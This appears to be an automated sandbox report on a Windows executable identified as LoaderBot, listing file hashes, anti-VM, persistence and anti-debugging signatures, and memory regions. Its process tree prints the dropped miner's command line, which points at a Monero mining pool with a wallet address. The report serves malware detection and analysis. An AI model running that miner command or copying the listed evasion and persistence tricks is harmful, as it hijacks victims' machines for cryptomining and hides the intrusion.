Resubmissions

24-10-2023 05:01

231024-fnjc1aaf9x 10

23-10-2023 04:48

231023-ffk7maea8t 10

Analysis

  • max time kernel
    61s
  • max time network
    65s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-10-2023 05:01

General

  • Target

    2531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264.exe

  • Size

    3.4MB

  • MD5

    65af1033a01110ec64468bacbe3a7607

  • SHA1

    9d1f8c17ce63803245c02a0e679ccde3fafcd48a

  • SHA256

    2531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264

  • SHA512

    9cd3932957dbf748793b9529e1f051532503c4cdef81f67cf86679b8415b92f90fbcae6f2473fb6c125de570dca0e501d11fca37ce4a9b8f554c8e22db322e54

  • SSDEEP

    98304:xWoz95vq28HVaKCJj1z2ge+u/3qXuD5OxBBkyWBh:oQZyahJ4g3uPIuFKayu

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 5 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264.exe
    "C:\Users\Admin\AppData\Local\Temp\2531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4528
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1424

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • memory/1424-42-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/1424-41-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/1424-40-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/1424-39-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2908-8-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-21-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-11-0x0000000000400000-0x0000000000E34000-memory.dmp

    Filesize

    10.2MB

  • memory/2908-13-0x0000000000400000-0x0000000000E34000-memory.dmp

    Filesize

    10.2MB

  • memory/2908-14-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-15-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-16-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-17-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-18-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-19-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-20-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-9-0x0000000077794000-0x0000000077796000-memory.dmp

    Filesize

    8KB

  • memory/2908-23-0x0000000005D80000-0x0000000005DE6000-memory.dmp

    Filesize

    408KB

  • memory/2908-0-0x0000000000400000-0x0000000000E34000-memory.dmp

    Filesize

    10.2MB

  • memory/2908-7-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-1-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-6-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-2-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-3-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-5-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/2908-4-0x0000000075E30000-0x0000000075F20000-memory.dmp

    Filesize

    960KB

  • memory/4528-36-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/4528-35-0x0000000001FC0000-0x0000000001FD4000-memory.dmp

    Filesize

    80KB

  • memory/4528-33-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB